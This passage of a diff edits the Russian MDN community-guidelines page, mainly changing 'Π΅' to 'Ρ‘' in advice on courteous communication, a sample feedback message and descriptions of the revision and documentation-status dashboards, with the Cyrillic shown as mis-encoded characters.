<li>Π‘ΡƒΠ΄ΡŒΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΊ ΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Π½Ρ‹ΠΌ различиям. Mozilla β€” мСТдународная ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Π½Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π°, поэтому ΠΏΡ€ΠΈ ΠΎΠ±Ρ‰Π΅Π½ΠΈΠΈ с Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ, Ρ‡ΡŒΡ ΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ отличаСтся ΠΎΡ‚ вашСй, ΠΏΠΎΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ ΠΈΠΌΠ΅Ρ‚ΡŒ это Π² Π²ΠΈΠ΄Ρƒ.</li>
- <li>НачинайтС Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΈΠ°Π»ΠΎΠ³ вмСсто Π·Π°Ρ…Π²Π°Ρ‚Π° ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ. НС Π·Π°Π΄Π°Π²Π°ΠΉΡ‚Π΅ вопросы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ относятся ΠΊ Π΄ΠΈΠ°Π»ΠΎΠ³Ρƒ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½Ρ‹Π΅ Π²Π°ΠΌ люди ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π½Π° этот Π΄ΠΈΠ°Π»ΠΎΠ³ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π₯отя это ΡƒΠ΄ΠΎΠ±Π½ΠΎ Π²Π°ΠΌ, это ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ людСй, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΈΡ‚ΠΎΠ³Ρƒ, Π΄Π°Π»Π΅ΠΊΠΎΠΌΡƒ ΠΎΡ‚ идСального.</li>
+ <li>НачинайтС Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΈΠ°Π»ΠΎΠ³ вмСсто Π·Π°Ρ…Π²Π°Ρ‚Π° ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ. НС Π·Π°Π΄Π°Π²Π°ΠΉΡ‚Π΅ вопросы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ относятся ΠΊ Π΄ΠΈΠ°Π»ΠΎΠ³Ρƒ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½Ρ‹Π΅ Π²Π°ΠΌ люди ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π½Π° этот Π΄ΠΈΠ°Π»ΠΎΠ³ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. Π₯отя это ΡƒΠ΄ΠΎΠ±Π½ΠΎ Π²Π°ΠΌ, это ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ людСй, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΈΡ‚ΠΎΠ³Ρƒ, Π΄Π°Π»Ρ‘ΠΊΠΎΠΌΡƒ ΠΎΡ‚ идСального.</li>
<li>Π˜Π·Π±Π΅Π³Π°ΠΉΡ‚Π΅ {{interwiki("wikipedia", "Π—Π°ΠΊΠΎΠ½Π° Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ")}}. НС позволяйтС Π²Π°ΡˆΠ΅ΠΌΡƒ энтузиазму ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ Π² Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ΅Π΄Π°Π½Ρ‚ΠΈΠ·ΠΌ. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ ΡƒΡ‚ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ расфокусированным.</li>
</ul>
@@ -34,16 +34,16 @@ original_slug: MDN/БообщСство/Working_in_community
<h3 id="Π’Π΅ΠΆΠ»ΠΈΠ²ΠΎ_ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΠΉΡ‚Π΅_Π½Π°_ошибки">Π’Π΅ΠΆΠ»ΠΈΠ²ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΠΉΡ‚Π΅ Π½Π° ошибки</h3>
-<p>Если ваша Ρ†Π΅Π»ΡŒ Π² ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅ с ΠΊΠ΅ΠΌ-Ρ‚ΠΎ - ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΈΡ… ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΈΠ»ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΠ»ΠΈ (особСнно Ссли ΠΎΠ½ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‚ это постоянно), Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ своС сообщСниС с ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ коммСнтария. Π­Ρ‚ΠΎ смягчаСт ΡƒΠ΄Π°Ρ€, Ρ‚Π°ΠΊ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, дСмонстрируСт, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΈ Π½Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ вас ΠΊΠ°ΠΊ нСвоспитанного Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ°.</p>
+<p>Если ваша Ρ†Π΅Π»ΡŒ Π² ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅ с ΠΊΠ΅ΠΌ-Ρ‚ΠΎ - ΠΏΠΎΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ ΠΈΡ… ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΈΠ»ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΠ»ΠΈ (особСнно Ссли ΠΎΠ½ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‚ это постоянно), Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ своё сообщСниС с ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ коммСнтария. Π­Ρ‚ΠΎ смягчаСт ΡƒΠ΄Π°Ρ€, Ρ‚Π°ΠΊ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, дСмонстрируСт, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΈ Π½Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ вас ΠΊΠ°ΠΊ нСвоспитанного Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ°.</p>
-<p>НапримСр, Ссли Π½ΠΎΠ²Ρ‹ΠΉ участник создаСт ΠΌΠ½ΠΎΠ³ΠΎ страниц Π±Π΅Π· Ρ‚Π΅Π³ΠΎΠ² ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Ρ‚ΠΎΠ³Π΄Π° вашС сообщСниС для Π½Π΅Π³ΠΎ ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ (Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ случая, подчСркиваСтся):</p>
+<p>НапримСр, Ссли Π½ΠΎΠ²Ρ‹ΠΉ участник создаёт ΠΌΠ½ΠΎΠ³ΠΎ страниц Π±Π΅Π· Ρ‚Π΅Π³ΠΎΠ² ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Ρ‚ΠΎΠ³Π΄Π° вашС сообщСниС для Π½Π΅Π³ΠΎ ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ (Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ случая, подчёркиваСтся):</p>
<blockquote>
-<p>ΠŸΡ€ΠΈΠ²Π΅Ρ‚, <u>MrBigglesworth</u>, я Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ» Π’Π°Ρˆ Π²ΠΊΠ»Π°Π΄ Π² <u>Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ API Wormhole</u>, Π’Π°ΡˆΠ° ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π½Π΅ΠΎΡ†Π΅Π½ΠΈΠΌΠ°! МнС особСнно нравится, ΠΊΠ°ΠΊ <u>Π’Ρ‹ сбалансировали свой ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π΄Π΅Ρ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ с ΡƒΠ΄ΠΎΠ±ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΡΡ‚ΡŒΡŽ</u>. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эти ΡΡ‚Π°Ρ‚ΡŒΠΈ Π΅Ρ‰Π΅ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Π΅Π΅, Ссли Π±Ρ‹ Π² дальнСйшСм <u>Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Π³ΠΈ ΠΊ страницам</u>.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Ρ‚, <u>MrBigglesworth</u>, я Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ» Π’Π°Ρˆ Π²ΠΊΠ»Π°Π΄ Π² <u>Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ API Wormhole</u>, Π’Π°ΡˆΠ° ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π½Π΅ΠΎΡ†Π΅Π½ΠΈΠΌΠ°! МнС особСнно нравится, ΠΊΠ°ΠΊ <u>Π’Ρ‹ сбалансировали свой ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π΄Π΅Ρ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ с ΡƒΠ΄ΠΎΠ±ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΡΡ‚ΡŒΡŽ</u>. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эти ΡΡ‚Π°Ρ‚ΡŒΠΈ Π΅Ρ‰Ρ‘ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Π΅Π΅, Ссли Π±Ρ‹ Π² дальнСйшСм <u>Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Π³ΠΈ ΠΊ страницам</u>.</p>
<p><u>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ свСдСния смотри Π² руководствС ΠΏΠΎ Ρ‚Π΅Π³Π°ΠΌ MDN (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag).</u></p>
-<p>Π•Ρ‰Π΅ Ρ€Π°Π· спасибо, я надСюсь Π½Π° Π’Π°ΡˆΠ΅ сотрудничСство Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ!</p>
+<p>Π•Ρ‰Ρ‘ Ρ€Π°Π· спасибо, я надСюсь Π½Π° Π’Π°ΡˆΠ΅ сотрудничСство Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ!</p>
</blockquote>
<h2 id="ОбмСн_знаниями">ОбмСн знаниями</h2>
@@ -72,11 +72,11 @@ original_slug: MDN/БообщСство/Working_in_community
<dl>
<dt><a href="/dashboards/revisions">ПанСль управлСния рСвизиями</a></dt>
- <dd>ПанСль управлСния рСвизиями Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² прСдоставляСт ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ инструмСнт для ΠΎΠ±Π·ΠΎΡ€Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, внСсСнных Π² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ MDN. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ послСдних ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ для просмотра. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ ΠΏΠΎ языку, ΠΈΠΌΠ΅Π½ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ρ‚Π΅ΠΌΠ΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ. ΠŸΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ список Ρ€Π΅Π²ΠΈΠ·ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ измСнСния, внСсСнныС Π² ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ€Π΅Π²ΠΈΠ·ΠΈΡŽ, быстро ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ страницу, ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ измСнСния (Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ).</dd>
+ <dd>ПанСль управлСния рСвизиями Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² прСдоставляСт ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ инструмСнт для ΠΎΠ±Π·ΠΎΡ€Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, внСсённых Π² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ MDN. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ послСдних ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ для просмотра. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ ΠΏΠΎ языку, ΠΈΠΌΠ΅Π½ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ρ‚Π΅ΠΌΠ΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌ. ΠŸΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ список Ρ€Π΅Π²ΠΈΠ·ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ измСнСния, внСсённыС Π² ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ€Π΅Π²ΠΈΠ·ΠΈΡŽ, быстро ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ страницу, ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ измСнСния (Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ).</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">ΠžΠ±Π·ΠΎΡ€ статуса Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</a></dt>
- <dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">ΠΎΠ±Π·ΠΎΡ€Π° статуса Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</a> содСрТит список всСх областСй MDN, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ сконфигурированы для отслСТивания статуса. Она содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, сколько страниц Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ…. Π’Ρ‹Π±Ρ€Π°Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ Ρ‚Π΅ΠΌΡƒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ списки Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Π΅Π³ΠΎΠ², ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°ΠΌΠΈ "Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ Ρ€Π°Π±ΠΎΡ‚". Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ списки страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ обновлялись Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ список ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊ Π²Π»ΠΈΡΡŽΡ‰ΠΈΠ΅ Π½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ Π² этой области.</dd>
+ <dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">ΠΎΠ±Π·ΠΎΡ€Π° статуса Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</a> содСрТит список всСх областСй MDN, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ сконфигурированы для отслСТивания статуса. Она содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, сколько страниц Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ…. Π’Ρ‹Π±Ρ€Π°Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ Ρ‚Π΅ΠΌΡƒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ списки Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Π΅Π³ΠΎΠ², ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°ΠΌΠΈ "Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ Ρ€Π°Π±ΠΎΡ‚". Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ списки страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ обновлялись Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ список ошибок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊ Π²Π»ΠΈΡΡŽΡ‰ΠΈΠ΅ Π½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ Π² этой области.</dd>
